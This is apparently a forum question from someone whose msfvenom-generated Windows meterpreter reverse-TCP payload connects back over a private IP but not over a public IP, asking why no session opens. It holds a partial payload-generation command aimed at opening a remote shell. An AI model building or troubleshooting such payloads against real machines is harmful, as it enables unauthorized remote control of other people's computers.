I've tried several times making a payload and delivering it to one of my local PC's with my private IP on both the listener and the virus (msfvenom -p windows/meterpreter/reversetcp LHOST=192.168.1.xx) . But, if I set my public IP when using msfvenom (I've made sure that the port 4444 which I'm using is open) the listener never gets a signal. It can't open a session. The port appears to be open when I start listening and then try a webpage like http://ping.eu/port-chk/ .
I'm using Kali Linux (not a VM) so I don't think the Firewall has anything to do with this. Any help would be kindly appreciated